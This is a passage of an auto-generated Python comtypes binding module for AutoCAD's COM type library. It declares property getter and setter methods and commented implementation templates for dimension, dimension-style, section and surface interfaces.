COMMETHOD([dispid(18), 'propget'], HRESULT, 'Fit',\n ( ['out', 'retval'], POINTER(AcDimFit), 'fittype' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'Fit',\n ( ['in'], AcDimFit, 'fittype' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'LinearScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'Type' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'LinearScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'Type' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'UnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimLUnits), 'format' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'UnitsFormat',\n ( ['in'], AcDimLUnits, 'format' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'RoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'RoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'DimLineSuppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'DimLineSuppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'TextInsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'TextInsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'TextInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'TextInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'ForceLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'ForceLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'TextOutsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'TextOutsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(48), 'propget'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(48), 'propput'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(49), 'propget'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(49), 'propput'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(50), 'propget'], HRESULT, 'AltSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(50), 'propput'], HRESULT, 'AltSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(51), 'propget'], HRESULT, 'AltSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(51), 'propput'], HRESULT, 'AltSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(52), 'propget'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(52), 'propput'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(53), 'propget'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(53), 'propput'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(54), 'propget'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(54), 'propput'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(55), 'propget'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(55), 'propput'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(56), 'propget'], HRESULT, 'SuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(56), 'propput'], HRESULT, 'SuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(57), 'propget'], HRESULT, 'SuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(57), 'propput'], HRESULT, 'SuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(58), 'propget'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(58), 'propput'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(59), 'propget'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(59), 'propput'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(60), 'propget'], HRESULT, 'DimensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'weight' )),\n COMMETHOD([dispid(60), 'propput'], HRESULT, 'DimensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'weight' )),\n COMMETHOD([dispid(61), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(61), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(63), 'propget'], HRESULT, 'ArrowheadType',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(63), 'propput'], HRESULT, 'ArrowheadType',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(64), 'propget'], HRESULT, 'Measurement',\n ( ['out', 'retval'], POINTER(c_double), 'bVal' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propget'], HRESULT, 'ArrowheadBlock',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propput'], HRESULT, 'ArrowheadBlock',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(80), 'propget'], HRESULT, 'DimensionLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(80), 'propput'], HRESULT, 'DimensionLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(85), 'propget'], HRESULT, 'DimConstrForm',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsDynamic' )),\n COMMETHOD([dispid(85), 'propput'], HRESULT, 'DimConstrForm',\n ( ['in'], VARIANT_BOOL, 'bIsDynamic' )),\n COMMETHOD([dispid(86), 'propget'], HRESULT, 'DimConstrReference',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsReference' )),\n COMMETHOD([dispid(86), 'propput'], HRESULT, 'DimConstrReference',\n ( ['in'], VARIANT_BOOL, 'bIsReference' )),\n COMMETHOD([dispid(87), 'propget'], HRESULT, 'DimConstrName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(87), 'propput'], HRESULT, 'DimConstrName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(88), 'propget'], HRESULT, 'DimConstrExpression',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrExpression' )),\n COMMETHOD([dispid(88), 'propput'], HRESULT, 'DimConstrExpression',\n ( ['in'], BSTR, 'bstrExpression' )),\n COMMETHOD([dispid(89), 'propget'], HRESULT, 'DimConstrValue',\n ( ['out', 'retval'], POINTER(BSTR), 'Value' )),\n COMMETHOD([dispid(89), 'propput'], HRESULT, 'DimConstrValue',\n ( ['in'], BSTR, 'Value' )),\n COMMETHOD([dispid(90), 'propget'], HRESULT, 'DimConstrDesc',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrDescription' )),\n COMMETHOD([dispid(90), 'propput'], HRESULT, 'DimConstrDesc',\n ( ['in'], BSTR, 'bstrDescription' )),\n]\n################################################################\n## code template for IAcadDimRadial implementation\n##class IAcadDimRadial_Impl(object):\n## def _set(self, rhs):\n## '-no docstring-'\n## LeaderLength = property(fset = _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bAlternate\n## def _set(self, bAlternate):\n## '-no docstring-'\n## AltUnits = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return precision\n## def _set(self, precision):\n## '-no docstring-'\n## AltUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## AltUnitsScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltRoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltTolerancePrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Units\n## def _set(self, Units):\n## '-no docstring-'\n## AltUnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextPrefix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## CenterType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## CenterMarkSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DimensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Prec\n## def _set(self, Prec):\n## '-no docstring-'\n## PrimaryUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## FractionFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fittype\n## def _set(self, fittype):\n## '-no docstring-'\n## Fit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LinearScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return format\n## def _set(self, format):\n## '-no docstring-'\n## UnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## RoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## def _set(self, bSuppress):\n## '-no docstring-'\n## DimLineSuppress = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## ForceLineInside = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bInside\n## def _set(self, bInside):\n## '-no docstring-'\n## TextOutsideAlign = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressLeadingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressTrailingZeros = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## AltToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## SuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroFeet = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bVal\n## def _set(self, bVal):\n## '-no docstring-'\n## ToleranceSuppressZeroInches = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return weight\n## def _set(self, weight):\n## '-no docstring-'\n## DimensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowheadSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ArrowheadType = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Measurement(self):\n## '-no docstring-'\n## #return bVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return BlockName\n## def _set(self, BlockName):\n## '-no docstring-'\n## ArrowheadBlock = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Linetype\n## def _set(self, Linetype):\n## '-no docstring-'\n## DimensionLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsDynamic\n## def _set(self, bIsDynamic):\n## '-no docstring-'\n## DimConstrForm = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bIsReference\n## def _set(self, bIsReference):\n## '-no docstring-'\n## DimConstrReference = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## DimConstrName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrExpression\n## def _set(self, bstrExpression):\n## '-no docstring-'\n## DimConstrExpression = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## DimConstrValue = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrDescription\n## def _set(self, bstrDescription):\n## '-no docstring-'\n## DimConstrDesc = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcDataLinkUpdateDirection'\nacUpdateDataFromSource = 1\nacUpdateSourceFromData = 2\nAcDataLinkUpdateDirection = c_int # enum\nIAcadDimStyle._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(2)], HRESULT, 'CopyFrom',\n ( ['in'], POINTER(IDispatch), 'StyleSource' )),\n]\n################################################################\n## code template for IAcadDimStyle implementation\n##class IAcadDimStyle_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def CopyFrom(self, StyleSource):\n## '-no docstring-'\n## #return \n##\n\nIAcadSection._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'pbstrName' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'pbstrName' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'State',\n ( ['out', 'retval'], POINTER(AcSectionState), 'pVal' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'State',\n ( ['in'], AcSectionState, 'pVal' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'ViewingDirection',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'ViewingDirection',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'VerticalDirection',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'VerticalDirection',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'LiveSectionEnabled',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'LiveSectionEnabled',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'IndicatorTransparency',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'IndicatorTransparency',\n ( ['in'], c_int, 'pVal' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'IndicatorFillColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'pColor' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'IndicatorFillColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'pColor' )),\n COMMETHOD([dispid(9), 'nonbrowsable', 'propget'], HRESULT, 'Elevation',\n ( ['out', 'retval'], POINTER(c_double), 'pVal' )),\n COMMETHOD([dispid(9), 'nonbrowsable', 'propput'], HRESULT, 'Elevation',\n ( ['in'], c_double, 'pVal' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'TopHeight',\n ( ['out', 'retval'], POINTER(c_double), 'pVal' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'TopHeight',\n ( ['in'], c_double, 'pVal' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'BottomHeight',\n ( ['out', 'retval'], POINTER(c_double), 'pVal' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'BottomHeight',\n ( ['in'], c_double, 'pVal' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'NumVertices',\n ( ['out', 'retval'], POINTER(c_int), 'pVal' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'Vertices',\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'Vertices',\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(14), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(14), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(15)], HRESULT, 'AddVertex',\n ( ['in'], c_int, 'nIndex' ),\n ( ['in'], VARIANT, 'val' )),\n COMMETHOD([dispid(16)], HRESULT, 'RemoveVertex',\n ( ['in'], c_int, 'nIndex' )),\n COMMETHOD([dispid(17)], HRESULT, 'HitTest',\n ( ['in'], VARIANT, 'varPtHit' ),\n ( ['out'], POINTER(VARIANT_BOOL), 'pHit' ),\n ( ['out'], POINTER(c_int), 'pSegmentIndex' ),\n ( ['out'], POINTER(VARIANT), 'pPtOnSegment' ),\n ( ['out'], POINTER(AcSectionSubItem), 'pSubItem' )),\n COMMETHOD([dispid(18)], HRESULT, 'CreateJog',\n ( ['in'], VARIANT, 'varPt' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'Settings',\n ( ['out', 'retval'], POINTER(POINTER(IAcadSectionSettings)), 'pUnk' )),\n COMMETHOD([dispid(20)], HRESULT, 'GenerateSectionGeometry',\n ( ['in'], POINTER(IAcadEntity), 'pEntity' ),\n ( ['out'], POINTER(VARIANT), 'pIntersectionBoundaryObjs' ),\n ( ['out'], POINTER(VARIANT), 'pIntersectionFillObjs' ),\n ( ['out'], POINTER(VARIANT), 'pBackgroudnObjs' ),\n ( ['out'], POINTER(VARIANT), 'pForegroudObjs' ),\n ( ['out'], POINTER(VARIANT), 'pCurveTangencyObjs' )),\n]\n################################################################\n## code template for IAcadSection implementation\n##class IAcadSection_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pbstrName\n## def _set(self, pbstrName):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## State = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## ViewingDirection = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## VerticalDirection = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Normal(self):\n## '-no docstring-'\n## #return pVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## LiveSectionEnabled = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## IndicatorTransparency = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pColor\n## def _set(self, pColor):\n## '-no docstring-'\n## IndicatorFillColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## Elevation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## TopHeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## BottomHeight = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def NumVertices(self):\n## '-no docstring-'\n## #return pVal\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## Vertices = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n## def AddVertex(self, nIndex, val):\n## '-no docstring-'\n## #return \n##\n## def RemoveVertex(self, nIndex):\n## '-no docstring-'\n## #return \n##\n## def HitTest(self, varPtHit):\n## '-no docstring-'\n## #return pHit, pSegmentIndex, pPtOnSegment, pSubItem\n##\n## def CreateJog(self, varPt):\n## '-no docstring-'\n## #return \n##\n## @property\n## def Settings(self):\n## '-no docstring-'\n## #return pUnk\n##\n## def GenerateSectionGeometry(self, pEntity):\n## '-no docstring-'\n## #return pIntersectionBoundaryObjs, pIntersectionFillObjs, pBackgroudnObjs, pForegroudObjs, pCurveTangencyObjs\n##\n\nclass AcadHyperlink(CoClass):\n _reg_clsid_ = GUID('{82547C8C-44A8-42D7-AD98-078166C573A5}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadHyperlink(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{5ED3953D-EFEF-468F-94B4-C186943065C7}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadHyperlink._com_interfaces_ = [IAcadHyperlink]\n\nclass AcadSurface(CoClass):\n _reg_clsid_ = GUID('{1E24C48F-197D-42F6-A865-3D95F0AB2D27}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSurface._com_interfaces_ = [IAcadSurface]\nAcadSurface._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadExtrudedSurface(IAcadSurface):\n _case_insensitive_ = True\n _iid_ = GUID('{E534271A-1C36-4146-B04F-6F4FB3EF643B}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadExtrudedSurface._methods_ = [\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'TaperAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'TaperAngle' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'TaperAngle',\n ( ['in'], ACAD_ANGLE, 'TaperAngle' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Direction',\n ( ['out', 'retval'], POINTER(VARIANT), 'Direction' )),\n]\n################################################################\n## code template for IAcadExtrudedSurface implementation\n##class IAcadExtrudedSurface_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return TaperAngle\n## def _set(self, TaperAngle):\n## '-no docstring-'\n## TaperAngle = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Direction(self):\n## '-no docstring-'\n## #return Direction\n##\n\nclass AcadPlaneSurface(CoClass):\n _reg_clsid_ = GUID('{EEC9E51D-A609-4D31-80A1-519DD36394FA}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadPlaneSurface(IAcadSurface):\n _case_insensitive_ = True\n _iid_ = GUID('{F8193567-E58C-4A77-ACB4-40432EE0C83D}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadPlaneSurface._com_interfaces_ = [IAcadPlaneSurface]\nAcadPlaneSurface._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadDatabasePreferences(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{14B4D107-E467-45F9-884E-0B72C6975411}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadDatabasePreferences._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Application',\n ( ['out', 'retval'], POINTER(POINTER(IDispatch)), 'pAppObj' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'SolidFill',\n ( 